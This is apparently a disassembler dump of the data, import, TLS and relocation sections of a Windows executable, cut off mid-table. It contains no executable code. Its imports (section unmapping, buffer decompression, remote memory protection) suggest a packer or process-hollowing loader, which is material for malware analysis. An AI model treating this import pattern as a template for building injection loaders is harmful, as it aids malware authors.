DATA XREF: CODE:00406B20o off_409130 dd offset off_4038B0 ; DATA XREF: CODE:00406B14o off_409134 dd offset off_4038B8 ; DATA XREF: CODE:00406B08o off_409138 dd offset off_4038C0 ; DATA XREF: CODE:00406AFCo off_40913C dd offset off_4038C8 ; DATA XREF: CODE:00406AF0o off_409140 dd offset off_4038D0 ; DATA XREF: sub_4051EC+5Do ; CODE:00406AE4o off_409144 dd offset off_4038D8 ; DATA XREF: CODE:00406AD8o off_409148 dd offset off_4038E0 ; DATA XREF: CODE:00406ACCo off_40914C dd offset off_4038E8 ; DATA XREF: CODE:00406AC0o off_409150 dd offset off_4038F0 ; DATA XREF: CODE:00406AB4o off_409154 dd offset off_4038F8 ; DATA XREF: CODE:00406AA8o off_409158 dd offset off_403900 ; DATA XREF: CODE:00406A9Co off_40915C dd offset off_403908 ; DATA XREF: CODE:00406A90o off_409160 dd offset off_403910 ; DATA XREF: CODE:00406A84o off_409164 dd offset off_403918 ; DATA XREF: CODE:00406A78o off_409168 dd offset off_403920 ; DATA XREF: CODE:00406A6Co off_40916C dd offset off_403928 ; DATA XREF: CODE:00406A60o off_409170 dd offset off_403930 ; DATA XREF: sub_4051EC+A9o ; CODE:00406A54o off_409174 dd offset off_403938 ; DATA XREF: CODE:00406A48o off_409178 dd offset off_403940 ; DATA XREF: CODE:00406A3Co off_40917C dd offset off_403948 ; DATA XREF: CODE:00406A30o off_409180 dd offset off_403950 ; DATA XREF: CODE:00406A24o off_409184 dd offset off_403958 ; DATA XREF: CODE:00406A18o off_409188 dd offset off_403960 ; DATA XREF: CODE:00406A0Co off_40918C dd offset off_403968 ; DATA XREF: sub_4051EC+CEo ; CODE:00406A00o off_409190 dd offset off_403970 ; DATA XREF: CODE:004069F4o off_409194 dd offset off_403978 ; DATA XREF: CODE:004069E8o off_409198 dd offset off_403980 ; DATA XREF: CODE:004069DCo off_40919C dd offset off_403988 ; DATA XREF: CODE:004069D0o off_4091A0 dd offset off_403990 ; DATA XREF: CODE:004069C4o off_4091A4 dd offset off_403998 ; DATA XREF: CODE:004069B8o dword_4091A8 dd 2 ; sub_406B98+46o dword_4091AC dd 145718h ; CODE:004069ACo dd 3 dword_4091B4 dd 1456F0h, 4 dword_4091BC dd 1456C8h, 5 dword_4091C4 dd 1456A0h dword_4091C8 dd 64h ; sub_405CE4+Fr ... dword_4091CC dd 145678h, 65h dword_4091D4 dd 145658h, 6Ah dword_4091DC dd 145630h off_4091E0 dd offset dword_403CAC ; DATA XREF: sub_406B98+31o dword_4091E4 dd 145608h dd offset dword_403D04 dword_4091EC dd 1455E0h dd offset dword_403D5C dword_4091F4 dd 1455B8h dd offset dword_403E10 dword_4091FC dd 145580h dd offset dword_403E68 dword_409204 dd 145550h dd offset dword_403EC0 dword_40920C dd 145528h dd offset dword_403F18 dword_409214 dd 1454F8h dd offset dword_403FCC dword_40921C dd 1454D0h dd offset dword_404084 dword_409224 dd 1452B0h dd offset dword_4040E4 dword_40922C dd 1454A8h dd offset dword_404198 dword_409234 dd 145488h dd offset dword_40413C dword_40923C dd 145468h dd offset dword_4041F0 dword_409244 dd 145438h dd offset dword_4041F0 dword_40924C dd 145408h dd offset dword_4041F0 dword_409254 dd 1453D0h dd offset dword_4041F0 dword_40925C dd 1453A0h dd offset dword_4041F0 dword_409264 dd 145378h dd offset dword_4041F0 dword_40926C dd 143D80h dd offset dword_40424C dword_409274 dd 145350h dd offset dword_403BF4 dword_40927C dd 145328h dd offset dword_404308 dword_409284 dd 145288h dd offset dword_404364 dword_40928C dd 1452F8h dword_409290 dd 20591EC1h dword_409294 dd 0 dword_409298 dd 1 dd 10h, 2, 20h, 4, 40h, 4, 40h off_4092B8 dd offset off_403888 ; DATA XREF: CODE:00406B54o off_4092BC dd offset off_4037F8 ; DATA XREF: CODE:00406908o off_4092C0 dd offset off_403748 ; DATA XREF: CODE:004069A0o off_4092C4 dd offset off_4038D8 ; DATA XREF: CODE:00406ADCo off_4092C8 dd offset off_403918 ; DATA XREF: CODE:00406A7Co off_4092CC dd offset off_403980 ; DATA XREF: CODE:004069E0o off_4092D0 dd offset off_4038A8 ; DATA XREF: CODE:00406B24o off_4092D4 dd offset off_40A028 ; DATA XREF: sub_405FA4+79r off_4092D8 dd offset off_403838 ; DATA XREF: sub_405EC8+73r ; CODE:004068E0o off_4092DC dd offset off_403990 ; DATA XREF: CODE:004069C8o off_4092E0 dd offset off_40A008 ; DATA XREF: sub_405FA4+2Er ; sub_406028+34r off_4092E4 dd offset off_403968 ; DATA XREF: CODE:00406A04o off_4092E8 dd offset off_403890 ; DATA XREF: CODE:00406B48o off_4092EC dd offset off_403760 ; DATA XREF: CODE:00406988o off_4092F0 dd offset off_403970 ; DATA XREF: CODE:004069F8o off_4092F4 dd offset off_403950 ; DATA XREF: CODE:00406A28o off_4092F8 dd offset off_403978 ; DATA XREF: CODE:004069ECo off_4092FC dd offset off_40A01C ; DATA XREF: sub_405FA4+44r ; sub_406028+46r off_409300 dd offset off_403730 ; DATA XREF: sub_405AA0+44r off_409304 dd offset off_4037E0 ; DATA XREF: CODE:004058A4r off_409308 dd offset off_403728 ; DATA XREF: sub_405FA4r off_40930C dd offset off_4038B0 ; DATA XREF: CODE:00406B18o off_409310 dd offset off_403768 ; DATA XREF: CODE:00406980o off_409314 dd offset off_4037E8 ; DATA XREF: CODE:00406B90o off_409318 dd offset off_403860 ; DATA XREF: sub_405C4Cr off_40931C dd offset off_403900 ; DATA XREF: CODE:00406AA0o off_409320 dd offset dword_40A20C ; DATA XREF: CODE:0040584Er off_409324 dd offset off_403920 ; DATA XREF: CODE:00406A70o off_409328 dd offset off_403830 ; DATA XREF: CODE:004068F8o off_40932C dd offset off_40A00C ; DATA XREF: sub_405FA4+51r ; sub_406028+4Fr off_409330 dd offset off_4038E0 ; DATA XREF: CODE:00406AD0o off_409334 dd offset off_40A004 ; DATA XREF: sub_405FA4+39r ; sub_406028+3Dr off_409338 dd offset off_40A010 ; DATA XREF: sub_405FA4+5Cr ; sub_406028+58r off_40933C dd offset off_403928 ; DATA XREF: CODE:00406A64o off_409340 dd offset off_4037C0 ; DATA XREF: CODE:00406920o off_409344 dd offset off_4037C8 ; DATA XREF: CODE:00406928o off_409348 dd offset off_403960 ; DATA XREF: CODE:00406A10o off_40934C dd offset off_403738 ; DATA XREF: CODE:004069B0o off_409350 dd offset off_403780 ; DATA XREF: CODE:00406968o off_409354 dd offset off_4037F0 ; DATA XREF: CODE:00406B84o off_409358 dd offset off_403810 ; DATA XREF: CODE:00406900o off_40935C dd offset off_4038D0 ; DATA XREF: CODE:00406AE8o off_409360 dd offset off_403848 ; DATA XREF: CODE:004068D8o off_409364 dd offset off_4038F8 ; DATA XREF: CODE:00406AACo off_409368 dd offset off_403828 ; DATA XREF: CODE:00406910o off_40936C dd offset off_4038E8 ; DATA XREF: CODE:00406AC4o off_409370 dd offset off_403908 ; DATA XREF: CODE:00406A94o off_409374 dd offset off_403820 ; DATA XREF: CODE:00406918o off_409378 dd offset off_403878 ; DATA XREF: CODE:00406B6Co off_40937C dd offset off_4038B8 ; DATA XREF: CODE:00406B0Co off_409380 dd offset off_403948 ; DATA XREF: CODE:00406A34o off_409384 dd offset off_403758 ; DATA XREF: CODE:00406990o off_409388 dd offset off_403798 ; DATA XREF: CODE:00406950o off_40938C dd offset off_4038F0 ; DATA XREF: CODE:00406AB8o off_409390 dd offset off_4037A8 ; DATA XREF: sub_405FA4+17r off_409394 dd offset off_403958 ; DATA XREF: CODE:00406A1Co off_409398 dd offset off_4037A0 ; DATA XREF: CODE:00406948o off_40939C dd offset off_403930 ; DATA XREF: CODE:00406A58o off_4093A0 dd offset off_40A020 ; DATA XREF: sub_405FA4+6Cr ; sub_406028+61r off_4093A4 dd offset off_403850 ; DATA XREF: CODE:004068D0o off_4093A8 dd offset off_403808 ; DATA XREF: sub_405CFC+54r off_4093AC dd offset off_403988 ; DATA XREF: CODE:004069D4o off_4093B0 dd offset off_403750 ; DATA XREF: CODE:00406998o off_4093B4 dd offset off_403840 ; DATA XREF: sub_405B74+38r ; CODE:004068E8o off_4093B8 dd offset off_403910 ; DATA XREF: CODE:00406A88o off_4093BC dd offset off_403938 ; DATA XREF: CODE:00406A4Co off_4093C0 dd offset dword_40A03C ; DATA XREF: CODE:00405844r off_4093C4 dd offset off_403940 ; DATA XREF: CODE:00406A40o off_4093C8 dd offset off_403818 ; DATA XREF: CODE:004068F0o off_4093CC dd offset off_403868 ; DATA XREF: sub_405CFC+110r off_4093D0 dd offset off_4038A0 ; DATA XREF: CODE:00406B30o off_4093D4 dd offset off_403858 ; DATA XREF: sub_405B74+63r off_4093D8 dd offset off_4038C0 ; DATA XREF: CODE:00406B00o off_4093DC dd offset off_403998 ; DATA XREF: CODE:004069BCo off_4093E0 dd offset off_403880 ; DATA XREF: CODE:00406B60o off_4093E4 dd offset off_4037B8 ; DATA XREF: sub_405CFC+16Cr ; CODE:00406938o off_4093E8 dd offset off_403740 ; DATA XREF: CODE:004069A8o off_4093EC dd offset off_4037D0 ; DATA XREF: CODE:00406930o off_4093F0 dd offset off_403778 ; DATA XREF: CODE:00406970o off_4093F4 dd offset off_403770 ; DATA XREF: CODE:00406978o off_4093F8 dd offset off_4038C8 ; DATA XREF: CODE:00406AF4o off_4093FC dd offset off_403788 ; DATA XREF: CODE:00406960o off_409400 dd offset off_403870 ; DATA XREF: CODE:00406B78o off_409404 dd offset off_4037D8 ; DATA XREF: CODE:00405786r off_409408 dd offset off_4037B0 ; DATA XREF: CODE:00406940o off_40940C dd offset off_403790 ; DATA XREF: CODE:00406958o off_409410 dd offset off_403800 ; DATA XREF: sub_405CFC+45r off_409414 dd offset off_403898 ; DATA XREF: CODE:00406B3Co align 200h DATA ends ; Section 3. (virtual address 0000A000) ; Virtual size : 00000A4D ( 2637.) ; Section size in file : 00000A4D ( 2637.) ; Offset to raw data for section: 0000A000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 40A000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_40A000 dd offset sub_402DB8 ; DATA XREF: sub_403450+13w off_40A004 dd offset dword_405F94 ; DATA XREF: DATA:off_409334o off_40A008 dd offset sub_405B20 ; DATA XREF: sub_40128C+9r ; sub_40128C+16r ... off_40A00C dd offset sub_405CE4 ; DATA XREF: DATA:off_40932Co off_40A010 dd offset sub_405EC8 ; DATA XREF: sub_4021A4+25r ; DATA:off_409338o off_40A014 dd offset sub_4010E8 ; DATA XREF: sub_4020F0+14r ; sub_40210C+16r ... off_40A018 dd offset sub_4010F8 ; DATA XREF: sub_4021A4+D2r ; sub_402428+Aw off_40A01C dd offset dword_403A24 ; DATA XREF: DATA:off_4092FCo off_40A020 dd offset sub_405C30 ; DATA XREF: DATA:off_4093A0o dword_40A024 dd 0 ; sub_4024E0+A9r off_40A028 dd offset sub_405C4C ; DATA XREF: DATA:off_4092D4o dword_40A02C dd 400000h dword_40A030 dd 4DCh byte_40A034 db 0 ; DATA XREF: sub_402428+2Ew align 4 dword_40A038 dd 0 dword_40A03C dd 0 dword_40A040 dd 73h dup(0) dword_40A20C dd 73h dup(0) ; DATA:off_409320o dword_40A3D8 dd 73h dup(0) ; sub_4017E8+26o dword_40A5A4 dd 0FFFFFFFFh ; sub_403450w dword_40A5A8 dd 140000h ; sub_4011C4+Dr ... dword_40A5AC dd 2 dup(0) ; sub_4024B0+Do ... off_40A5B4 dd offset dword_407B20 ; DATA XREF: sub_40240Cr ; sub_402428+14w dword_40A5B8 dd 9 ; sub_402428+1Bw off_40A5BC dd offset dword_409094 ; DATA XREF: sub_402428+20w dd 6 dup(0) dword_40A5D8 dd 0 ; sub_403408+22r off_40A5DC dd offset sub_402D68 ; DATA XREF: sub_402D80o ; sub_402D80+19w ... dd 0Ah dup(offset sub_402D60) off_40A608 dd offset sub_402D60 ; DATA XREF: sub_402DA8r dd 1Fh dup(offset sub_402D60) byte_40A688 db 0 ; DATA XREF: sub_4034D8r byte_40A689 db 0 ; DATA XREF: sub_406D18+2Er align 4 TlsIndex dd 0 ; DATA XREF: sub_403494+Cr ; sub_403494+37r ... dd 0 dword_40A694 dd 400000h ; sub_403524+16r ... dword_40A698 dd 0FFFFFFFFh ; CODE:loc_403598w dword_40A69C dd 0 dword_40A6A0 dd 0FFFFFFFFh ; sub_4035D0w dword_40A6A4 dd 0FFFFFFFFh ; sub_4036E8w dword_40A6A8 dd 0FFFFFFFFh ; sub_403720w dword_40A6AC dd 0FFFFFFFFh ; sub_4039D0w dword_40A6B0 dd 145BA0h ; sub_4064C4+52o ... byte_40A6B4 db 0 ; DATA XREF: sub_404C38+24r ; sub_4064C4+7Bw byte_40A6B5 db 0 ; DATA XREF: sub_404C38+2Cr ; sub_4064C4+9Fw byte_40A6B6 db 2Ch ; DATA XREF: sub_404C38+14r ; sub_4064C4+B2w byte_40A6B7 db 2Eh ; DATA XREF: sub_404C38+Cr ; sub_4064C4+C5w byte_40A6B8 db 2 ; DATA XREF: sub_4047F6+296r ; sub_4064C4+E9w byte_40A6B9 db 2Fh ; DATA XREF: sub_4064C4+FCw align 4 dword_40A6BC dd 145C00h ; sub_406B98+135o dword_40A6C0 dd 145C38h ; sub_406B98+12Bo byte_40A6C4 db 3Ah ; DATA XREF: sub_4064C4+169w align 4 dword_40A6C8 dd 145C20h ; sub_406B98+121o dword_40A6CC dd 145C60h ; sub_406B98+117o dword_40A6D0 dd 145CC0h ; sub_406B98+10Do dword_40A6D4 dd 145CE0h ; sub_406B98+103o dword_40A6D8 dd 1457D8h, 145808h, 145840h, 145870h, 1458A0h, 1458D0h ; DATA XREF: sub_4051EC+29o ; sub_406B98+EEo dd 145900h, 145930h, 145960h, 145998h, 1459C8h, 145A00h dword_40A708 dd 1457F0h, 145820h, 145858h, 145888h, 1458B8h, 1458E8h ; DATA XREF: sub_4051EC+2Eo ; sub_406B98+D9o dd 145918h, 145948h, 145978h, 1459B0h, 1459E0h, 145A18h dword_40A738 dd 145A38h, 145A68h, 145A98h, 145AC8h, 145B00h, 145B38h ; DATA XREF: sub_4051EC+8Ao ; sub_406B98+C4o dd 145B68h dword_40A754 dd 145A50h, 145A80h, 145AB0h, 145AE0h, 145B18h, 145B50h ; DATA XREF: sub_4051EC+8Fo ; sub_406B98+AFo dd 145B80h dword_40A770 dd 409h ; sub_406350+Cw ... dword_40A774 dd 9 ; sub_406338r ... dword_40A778 dd 1 ; sub_406350+53w dword_40A77C dd 2C0000h ; sub_405310+1Eo ... dword_40A780 dd 6 dup(0) dword_40A798 dd 0 ; sub_40534C+43w dword_40A79C dd 7 dup(0) dword_40A7B8 dd 0 dword_40A7BC dd 0 dword_40A7C0 dd 0FFFFFFFFh ; sub_406D18+11w dword_40A7C4 dd 145730h ; sub_405FA4+12w ... dword_40A7C8 dd 145768h ; sub_405FA4+29w ... dword_40A7CC dd 0 dword_40A7D0 dd 0FFFFFFFFh ; sub_406F70w dword_40A7D4 dd 103h ; CODE:00407C68r dword_40A7D8 dd 0 ; CODE:00407CC8r ... dword_40A7DC dd 17C960h ; CODE:00407CD3o ... byte_40A7E0 db 0 ; DATA XREF: CODE:loc_407C61o ; CODE:00407E21r byte_40A7E1 db 3 dup(0) ; DATA XREF: CODE:00407D4Ao dd 3Fh dup(0) db 0 byte_40A8E1 db 1 ; DATA XREF: CODE:00407CECr align 4 dword_40A8E4 dd 145C78h ; CODE:00407C94o ... dword_40A8E8 dd 0 ; CODE:00407D72r ... dword_40A8EC dd 53h dup(0) ; CODE:00407EC5o ... dword_40AA38 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; CODE:00407FA5r ... dword_40AA3C dd 7CA40EE0h ; CODE:00407F2Br dword_40AA40 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; CODE:00407C5Br ... dword_40AA44 dd 7C800000h ; CODE:00407BCEr ... dword_40AA48 dd 7C9C0000h ; CODE:00407C14r ... align 200h BSS ends ; Section 4. (virtual address 0000B000) ; Virtual size : 0000077A ( 1914.) ; Section size in file : 0000077A ( 1914.) ; Offset to raw data for section: 0000B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata segment para public 'DATA' use32 assume cs:_idata ;org 40B000h dd 3 dup(0) dd 0B228h, 0B0DCh, 3 dup(0) dd 0B476h, 0B170h, 3 dup(0) dd 0B49Ch, 0B17Ch, 3 dup(0) dd 0B4DCh, 0B18Ch, 3 dup(0) dd 0B4FAh, 0B194h, 3 dup(0) dd 0B518h, 0B19Ch, 3 dup(0) dd 0B6CEh, 0B1FCh, 3 dup(0) dd 0B716h, 0B210h, 3 dup(0) dd 0B736h, 0B218h, 3 dup(0) dd 0B758h, 0B220h, 5 dup(0) dword_40B0DC dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_40B0E0 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_40B0E4 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_40B0E8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_40B0EC dd 7C801D4Fh ; resolved to->KERNEL32.LoadLibraryExAdword_40B0F0 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40B0F4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_40B0F8 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_40B0FC dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_40B100 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_40B104 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_40B108 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_40B10C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; CODE:loc_40183Cr dword_40B110 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_40B114 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_40B118 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_40B11C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_40B120 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_40B124 dd 7C812A09h ; resolved to->KERNEL32.RaiseExceptiondword_40B128 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_40B12C dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_40B130 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_40B134 dd 7C810E51h ; resolved to->KERNEL32.GetFileTypedword_40B138 dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_40B13C dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_40B140 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_40B144 dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValuedword_40B148 dd 7C809740h ; resolved to->KERNEL32.TlsGetValuedword_40B14C dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_40B150 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_40B154 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_40B158 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_40B15C dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeapdword_40B160 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeapdword_40B164 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeapdword_40B168 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap align 10h dword_40B170 dd 7E42DFA8h ; resolved to->USER32.LoadStringAdword_40B174 dd 7E42DF50h ; resolved to->USER32.CharNextA dd 0 dword_40B17C dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_40B180 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_40B184 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey dd 0 dword_40B18C dd 77124880h dd 0 dword_40B194 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA dd 0 dword_40B19C dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_40B1A0 dd 7C80B9D1h ; resolved to->KERNEL32.VirtualQuerydword_40B1A4 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_40B1A8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_40B1AC dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_40B1B0 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40B1B4 dd 7C8760DFh ; resolved to->KERNEL32.GetStringTypeExAdword_40B1B8 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_40B1BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_40B1C0 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_40B1C4 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_40B1C8 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_40B1CC dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_40B1D0 dd 7C8302EDh ; resolved to->KERNEL32.GetDiskFreeSpaceAdword_40B1D4 dd 7C834FFEh ; resolved to->KERNEL32.GetCurrentDirectoryAdword_40B1D8 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfodword_40B1DC dd 7C809915h ; resolved to->KERNEL32.GetACPdword_40B1E0 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_40B1E4 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_40B1E8 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTimedword_40B1EC dd 7C83065Dh ; resolved to->KERNEL32.FileTimeToDosDateTimedword_40B1F0 dd 7C838211h ; resolved to->KERNEL32.EnumCalendarInfoAdword_40B1F4 dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA dd 0 dword_40B1FC dd 7E45058Ah ; resolved to->USER32.MessageBoxAdword_40B200 dd 7E42DFA8h ; resolved to->USER32.LoadStringAdword_40B204 dd 7E418F9Ch ; resolved to->USER32.GetSystemMetricsdword_40B208 dd 7E42DF50h ; resolved to->USER32.CharNextA align 10h dword_40B210 dd 7C961329h ; resolved to->NTDLL.RtlDecompressBuffer align 8 dword_40B218 dd 7C90E960h ; resolved to->NTDLL.ZwUnmapViewOfSection align 10h dword_40B220 dd 7C801A5Dh ; resolved to->KERNEL32.VirtualProtectEx align 8 aKernel32_dll db 'kernel32.dll',0 align 4 aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h dd 65h, 7274736Ch, 416E656Ch, 0 aLstrcpyna db 'lstrcpynA',0 align 4 aLoadlibraryexa db 'LoadLibraryExA',0 align 4 dd 65470000h, 72685474h, 4C646165h, 6C61636Fh, 65h, 50746547h dd 41636F72h, 65726464h, 7373h, 65470000h, 636F4C74h, 49656C61h dd 416F666Eh, 0 aGetlasterror db 'GetLastError',0 align 4 aFindfirstfilea db 'FindFirstFileA',0 align 4 dd 69460000h, 6C43646Eh, 65736Fh, 78450000h, 72507469h dd 7365636Fh, 73h, 74697257h, 6C694665h, 65h, 61686E55h dd 656C646Eh, 63784564h, 69747065h, 69466E6Fh, 7265746Ch dd 0 aSetfilepointer db 'SetFilePointer',0 align 4 dd 65530000h, 646E4574h, 6946664Fh, 656Ch, 74520000h, 776E556Ch dd 646E69h, 65520000h, 69466461h, 656Ch, 61520000h, 45657369h dd 70656378h, 6E6F6974h, 0 aGetstdhandle db 'GetStdHandle',0 align 4 aGetfilesize db 'GetFileSize',0 dd 65470000h, 73795374h, 546D6574h, 656D69h, 65470000h dd 6C694674h, 70795465h, 65h, 61657243h, 69466574h, 41656Ch dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 43746547h, 616D6D6Fh dd 694C646Eh, 41656Eh, 6C540000h, 74655373h, 756C6156h dd 65h, 47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h dd 636F6C6Ch, 0 aGetmodulehandl db 'GetModuleHandleA',0 align 4 aGetmodulefilen db 'GetModuleFileNameA',0 align 10h dd 72460000h, 694C6565h, 72617262h, 79h, 70616548h, 65657246h dd 0 aHeaprealloc db 'HeapReAlloc',0 dd 65480000h, 6C417061h, 636F6Ch, 65470000h, 6F725074h dd 73736563h, 70616548h, 73750000h, 32337265h, 6C6C642Eh dd 0 aLoadstringa db 'LoadStringA',0 dd 68430000h, 654E7261h, 417478h, 61766461h, 32336970h dd 6C6C642Eh, 0 aRegqueryvaluee db 'RegQueryValueExA',0 align 10h aRegopenkeyexa db 'RegOpenKeyExA',0 align 10h aRegclosekey db 'RegCloseKey',0 aOleaut32_dll db 'oleaut32.dll',0 align 4 aSysfreestring db 'SysFreeString',0 aAdvapi32_dll db 'advapi32.dll',0 align 4 dd 65470000h, 65735574h, 6D614E72h, 4165h, 6E72656Bh, 32336C65h dd 6C6C642Eh, 0 aWritefile db 'WriteFile',0 align 4 aVirtualquery db 'VirtualQuery',0 align 4 aTerminateproce db 'TerminateProcess',0 align 4 aLoadlibrarya db 'LoadLibraryA',0 align 4 aGetversionexa db 'GetVersionExA',0 align 4 aGetthreadlocal db 'GetThreadLocale',0 dd 65470000h, 72745374h, 54676E69h, 45657079h, 4178h, 65470000h dd 64745374h, 646E6148h, 656Ch, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 aGetmodulehan_0 db 'GetModuleHandleA',0 align 4 aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetenvironment db 'GetEnvironmentVariableA',0 dd 65470000h, 73694474h, 6572466Bh, 61705365h, 416563h dd 65470000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 49504374h, 6F666Eh, 65470000h, 50434174h dd 0 aFindfirstfil_0 db 'FindFirstFileA',0 align 4 dd 69460000h, 6C43646Eh, 65736Fh, 69460000h, 6954656Ch dd 6F54656Dh, 61636F4Ch, 6C69466Ch, 6D695465h, 65h, 656C6946h dd 656D6954h, 6F446F54h, 74614473h, 6D695465h, 65h, 6D756E45h dd 656C6143h, 7261646Eh, 6F666E49h, 41h, 61657243h, 69446574h dd 74636572h, 4179726Fh, 73750000h, 32337265h, 6C6C642Eh dd 0 aMessageboxa db 'MessageBoxA',0 dd 6F4C0000h, 74536461h, 676E6972h, 41h, 53746547h, 65747379h dd 74654D6Dh, 73636972h, 0 aCharnexta db 'CharNextA',0 aNtdll_dll db 'ntdll.dll',0 dd 74520000h, 6365446Ch, 72706D6Fh, 42737365h, 65666675h dd 746E0072h, 2E6C6C64h, 6C6C64h, 775A0000h, 616D6E55h dd 65695670h, 53664F77h, 69746365h, 6E6Fh, 6E72656Bh, 32336C65h dd 6C6C642Eh, 0 aVirtualprotect db 'VirtualProtectEx',0 align 100h _idata ends ; Section 5. (virtual address 0000C000) ; Virtual size : 00000008 ( 8.) ; Section size in file : 00000008 ( 8.) ; Offset to raw data for section: 0000C000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 40C000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 2 dup(0) ; DATA XREF: .rdata:TlsDirectoryo TlsEnd dd 7Eh dup(?) ; DATA XREF: .rdata:TlsEnd_ptro _tls ends ; Section 6. (virtual address 0000D000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 0000D000 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 40D000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd offset TlsEnd TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 align 200h _rdata ends ; Section 7. (virtual address 0000E000) ; Virtual size : 00000B00 ( 2816.) ; Section size in file : 00000B00 ( 2816.) ; Offset to raw data for section: 0000E000 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _reloc segment para public 'DATA' use32 assume cs:_reloc ;org 40E000h dd 1000h, 0CCh, 300C3000h, 3038302Ch, 3040303Ch, 30483044h dd 3050304Ch, 30623054h, 3072306Ah, 3082307Ah, 3092308Ah dd 30A2309Ah, 30B230AAh, 30C230BAh, 30D230CAh, 30E230DAh dd 30F230EAh, 310230FAh, 3112310Ah, 3122311Ah, 3132312Ah dd 3142313Ah, 3152314Ah, 3162315Ah, 3172316Ah, 3182317Ah dd 3192318Ah, 31A2319Ah, 31B231AAh, 31C931B8h, 31EB31D2h dd 320631F4h, 323F321Eh, 32713258h, 32973282h, 32C432A4h dd 3607351Eh, 36373630h, 370E363Eh, 37563723h, 37B837A6h dd 380F3808h, 38DE383Eh, 39893931h, 3A003994h, 3A183A07h dd 3A743A24h, 3C433C2Bh, 3C703C54h, 3C993C88h, 3EED3CA3h dd 2000h, 88h, 30F23093h, 310E3106h, 313C3124h, 317E314Ah dd 31CB319Ah, 320131F8h, 323C3233h, 32783271h, 32E7329Ah dd 3337332Bh, 33C33389h, 33DA33C9h, 33EF33E9h, 340D33FDh dd 342A3420h, 3434342Eh, 343D3438h, 344A3444h, 34583452h dd 